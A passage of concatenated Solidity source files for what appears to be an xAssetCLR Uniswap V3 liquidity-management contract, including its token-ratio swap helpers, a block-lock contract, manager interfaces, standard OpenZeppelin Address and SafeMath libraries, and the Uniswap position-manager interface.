token1Balance = getToken1AmountInNativeDecimals(
token1Balance,
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
);
if (stakeAmount0 > token0Balance) {
stakeAmount0 = token0Balance;
}
if (stakeAmount1 > token1Balance) {
stakeAmount1 = token1Balance;
}
(uint256 amount0, uint256 amount1) =
calculatePoolMintedAmounts(
stakeAmount0,
stakeAmount1,
positionDetails.priceLower,
positionDetails.priceUpper,
positionDetails.pool
);
require(
amount0 != 0 || amount1 != 0,
"Rebalance amounts are 0"
);
stake(
amount0,
amount1,
positionDetails.positionManager,
positionDetails.tokenId
);
}
/**
* @dev Check if token amounts match before attempting rebalance in xAssetCLR
* @dev Uniswap contract requires deposits at a precise token ratio
* @dev If they don't match, swap the tokens so as to deposit as much as possible
* @param amount0ToMint how much token0 amount we want to deposit/withdraw
* @param amount1ToMint how much token1 amount we want to deposit/withdraw
*/
function checkIfAmountsMatchAndSwap(
uint256 amount0ToMint,
uint256 amount1ToMint,
PositionDetails memory positionDetails,
TokenDetails memory tokenDetails
) public returns (uint256 amount0, uint256 amount1) {
(uint256 amount0Minted, uint256 amount1Minted) =
calculatePoolMintedAmounts(
amount0ToMint,
amount1ToMint,
positionDetails.priceLower,
positionDetails.priceUpper,
positionDetails.pool
);
if (
amount0Minted <
amount0ToMint.sub(amount0ToMint.div(MINT_BURN_SLIPPAGE)) ||
amount1Minted <
amount1ToMint.sub(amount1ToMint.div(MINT_BURN_SLIPPAGE))
) {
// calculate liquidity ratio =
// minted liquidity / total pool liquidity
// used to calculate swap impact in pool
uint256 mintLiquidity =
getLiquidityForAmounts(
amount0ToMint,
amount1ToMint,
positionDetails.priceLower,
positionDetails.priceUpper,
positionDetails.pool
);
uint256 poolLiquidity = getPoolLiquidity(positionDetails.pool);
int128 liquidityRatio =
poolLiquidity == 0
? 0
: int128(ABDKMath64x64.divuu(mintLiquidity, poolLiquidity));
(amount0, amount1) = restoreTokenRatios(
liquidityRatio,
AmountsMinted({
amount0ToMint: amount0ToMint,
amount1ToMint: amount1ToMint,
amount0Minted: amount0Minted,
amount1Minted: amount1Minted
}),
tokenDetails,
positionDetails
);
} else {
(amount0, amount1) = (amount0ToMint, amount1ToMint);
}
}
/**
* @dev Swap tokens in xAssetCLR so as to keep a ratio which is required for
* @dev depositing/withdrawing liquidity to/from Uniswap pool
*/
function restoreTokenRatios(
int128 liquidityRatio,
AmountsMinted memory amountsMinted,
TokenDetails memory tokenDetails,
PositionDetails memory positionDetails
) private returns (uint256 amount0, uint256 amount1) {
// after normalization, returned swap amount will be in wei representation
uint256 swapAmount;
{
uint256 midPrice = getPoolPriceWithDecimals(positionDetails.pool);
// Swap amount returned is always in asset 0 terms
swapAmount = Utils.calculateSwapAmount(
Utils.AmountsMinted({
amount0ToMint: getToken0AmountInWei(
amountsMinted.amount0ToMint,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
),
amount1ToMint: getToken1AmountInWei(
amountsMinted.amount1ToMint,
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
),
amount0Minted: getToken0AmountInWei(
amountsMinted.amount0Minted,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
),
amount1Minted: getToken1AmountInWei(
amountsMinted.amount1Minted,
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
)
}),
liquidityRatio,
midPrice
);
if (swapAmount == 0) {
return (
amountsMinted.amount0ToMint,
amountsMinted.amount1ToMint
);
}
}
uint256 swapAmountWithSlippage =
swapAmount.add(swapAmount.div(SWAP_SLIPPAGE));
uint256 mul1 =
amountsMinted.amount0ToMint.mul(amountsMinted.amount1Minted);
uint256 mul2 =
amountsMinted.amount1ToMint.mul(amountsMinted.amount0Minted);
(uint256 balance0, uint256 balance1) =
getBufferTokenBalance(tokenDetails);
if (mul1 > mul2) {
if (balance0 < swapAmountWithSlippage) {
swapAmountWithSlippage = balance0;
}
// Swap tokens
uint256 amountOut =
swapToken0ForToken1(
swapAmountWithSlippage,
swapAmount,
positionDetails,
tokenDetails
);
amount0 = amountsMinted.amount0ToMint.sub(
getToken0AmountInNativeDecimals(
swapAmount,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
)
);
// amountOut is already in native decimals
amount1 = amountsMinted.amount1ToMint.add(amountOut);
} else if (mul1 < mul2) {
balance1 = getAmountInAsset0Terms(
balance1,
positionDetails.pool,
positionDetails.twapPeriod,
tokenDetails.token0Decimals,
tokenDetails.token1Decimals,
tokenDetails.tokenDiffDecimalMultiplier
);
if (balance1 < swapAmountWithSlippage) {
swapAmountWithSlippage = balance1;
}
uint256 midPrice = getPoolPriceWithDecimals(positionDetails.pool);
// Swap tokens
uint256 amountIn =
swapToken1ForToken0(
swapAmountWithSlippage.mul(midPrice).div(1e12),
swapAmount.mul(midPrice).div(1e12),
positionDetails,
tokenDetails
);
amount0 = amountsMinted.amount0ToMint.add(
getToken0AmountInNativeDecimals(
swapAmount,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
)
);
// amountIn is already in native decimals
amount1 = amountsMinted.amount1ToMint.sub(amountIn);
}
}
/**
* @dev Get token balances in xAssetCLR contract
* @dev returned balances are in wei representation
*/
function getBufferTokenBalance(TokenDetails memory tokenDetails)
public
view
returns (uint256 amount0, uint256 amount1)
{
IERC20 token0 = IERC20(tokenDetails.token0);
IERC20 token1 = IERC20(tokenDetails.token1);
return (
getBufferToken0Balance(
token0,
tokenDetails.token0Decimals,
tokenDetails.token0DecimalMultiplier
),
getBufferToken1Balance(
token1,
tokenDetails.token1Decimals,
tokenDetails.token1DecimalMultiplier
)
);
}
/**
* @dev Get token0 balance in xAssetCLR
*/
function getBufferToken0Balance(
IERC20 token0,
uint8 token0Decimals,
uint256 token0DecimalMultiplier
) public view returns (uint256 amount0) {
return
getToken0AmountInWei(
token0.balanceOf(address(this)),
token0Decimals,
token0DecimalMultiplier
);
}
/**
* @dev Get token1 balance in xAssetCLR
*/
function getBufferToken1Balance(
IERC20 token1,
uint8 token1Decimals,
uint256 token1DecimalMultiplier
) public view returns (uint256 amount1) {
return
getToken1AmountInWei(
token1.balanceOf(address(this)),
token1Decimals,
token1DecimalMultiplier
);
}
/* ========================================================================================= */
/* Miscellaneous */
/* ========================================================================================= */
/**
* @dev Returns token0 amount in token0Decimals
*/
function getToken0AmountInNativeDecimals(
uint256 amount,
uint8 token0Decimals,
uint256 token0DecimalMultiplier
) public pure returns (uint256) {
if (token0Decimals < TOKEN_DECIMAL_REPRESENTATION) {
amount = amount.div(token0DecimalMultiplier);
}
return amount;
}
/**
* @dev Returns token1 amount in token1Decimals
*/
function getToken1AmountInNativeDecimals(
uint256 amount,
uint8 token1Decimals,
uint256 token1DecimalMultiplier
) public pure returns (uint256) {
if (token1Decimals < TOKEN_DECIMAL_REPRESENTATION) {
amount = amount.div(token1DecimalMultiplier);
}
return amount;
}
/**
* @dev Returns token0 amount in TOKEN_DECIMAL_REPRESENTATION
*/
function getToken0AmountInWei(
uint256 amount,
uint8 token0Decimals,
uint256 token0DecimalMultiplier
) public pure returns (uint256) {
if (token0Decimals < TOKEN_DECIMAL_REPRESENTATION) {
amount = amount.mul(token0DecimalMultiplier);
}
return amount;
}
/**
* @dev Returns token1 amount in TOKEN_DECIMAL_REPRESENTATION
*/
function getToken1AmountInWei(
uint256 amount,
uint8 token1Decimals,
uint256 token1DecimalMultiplier
) public pure returns (uint256) {
if (token1Decimals < TOKEN_DECIMAL_REPRESENTATION) {
amount = amount.mul(token1DecimalMultiplier);
}
return amount;
}
/**
* @dev get price from tick
*/
function getSqrtRatio(int24 tick) public pure returns (uint160) {
return TickMath.getSqrtRatioAtTick(tick);
}
/**
* @dev get tick from price
*/
function getTickFromPrice(uint160 price) public pure returns (int24) {
return TickMath.getTickAtSqrtRatio(price);
}
/**
* @dev Subtract two numbers and return absolute value
*/
function subAbs(uint256 amount0, uint256 amount1)
public
pure
returns (uint256)
{
return amount0 >= amount1 ? amount0.sub(amount1) : amount1.sub(amount0);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
/**
Contract which implements locking of functions via a notLocked modifier
Functions are locked per address.
*/
contract BlockLock {
// how many blocks are the functions locked for
uint256 private constant BLOCK_LOCK_COUNT = 6;
// last block for which this address is timelocked
mapping(address => uint256) public lastLockedBlock;
function lock(address _address) internal {
lastLockedBlock[_address] = block.number + BLOCK_LOCK_COUNT;
}
modifier notLocked(address lockedAddress) {
require(
lastLockedBlock[lockedAddress] <= block.number,
"Address is temporarily locked"
);
_;
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IxTokenManager {
/**
* @dev Add a manager to an xAsset fund
*/
function addManager(address manager, address fund) external;
/**
* @dev Remove a manager from an xAsset fund
*/
function removeManager(address manager, address fund) external;
/**
* @dev Check if an address is a manager for a fund
*/
function isManager(address manager, address fund)
external
view
returns (bool);
/**
* @dev Set revenue controller
*/
function setRevenueController(address controller) external;
/**
* @dev Check if address is revenue controller
*/
function isRevenueController(address caller) external view returns (bool);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* Minimal xAsset interface
* Only mintWithToken and burn functions
*/
interface IxAsset is IERC20 {
/*
* @dev Mint xAsset using Asset
* @notice Must run ERC20 approval first
* @param amount: Asset amount to contribute
*/
function mintWithToken(uint256 amount) external;
/*
* @dev Burn xAsset tokens
* @notice Will fail if redemption value exceeds available liquidity
* @param amount: xAsset amount to redeem
* @param redeemForEth: if true, redeem xAsset for ETH
* @param minRate: Kyber.getExpectedRate xAsset=>ETH if redeemForEth true (no-op if false)
*/
function burn(uint256 amount, bool redeemForEth, uint256 minRate) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol';
import './IPoolInitializer.sol';
import './IERC721Permit.sol';
import './IPeripheryImmutableState.sol';
import '../libraries/PoolAddress.sol';
/// @title Non-fungible token for positions
/// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred
/// and authorized.
interface INonfungiblePositionManager is
IPoolInitializer,
IPeripheryImmutableState,
IERC721Metadata,
IERC721Enumerable,
IERC721Permit
{
/// @notice Emitted when liquidity is increased for a position NFT
/// @dev Also emitted when a token is minted
/// @param tokenId The ID of the token for which liquidity was increased
/// @param liquidity The amount by which liquidity for the NFT position was increased
/// @param amount0 The amount of token0 that was paid for the increase in liquidity
/// @param amount1 The amount of token1 that was paid for the increase in liquidity
event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when liquidity is decreased for a position NFT
/// @param tokenId The ID of the token for which liquidity was decreased
/// @param liquidity The amount by which liquidity for the NFT position was decreased
/// @param amount0 The amount of token0 that was accounted for the decrease in liquidity
/// @param amount1 The amount of token1 that was accounted for the decrease in liquidity
event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when tokens are collected for a position NFT
/// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior
/// @param tokenId The ID of the token for which underlying tokens were collected
/// @param recipient The address of the account that received the collected tokens
/// @param amount0 The amount of token0 owed to the position that was collected
/// @param amount1 The amount of token1 owed to the position that was collected
event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1);
/// @notice Returns the position information associated with a given token ID.
/// @dev Throws if the token ID is not valid.
/// @param tokenId The ID of the token that represents the position
/// @return nonce The nonce for permits
/// @return operator The address that is approved for spending
/// @return token0 The address of the token0 for a specific pool
/// @return token1 The address of the token1 for a specific pool
/// @return fee The fee associated with the pool
/// @return tickLower The lower end of the tick range for the position
/// @return tickUpper The higher end of the tick range for the position
/// @return liquidity The liquidity of the position
/// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position
/// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position
/// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation
/// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation
function positions(uint256 tokenId)
external
view
returns (
uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
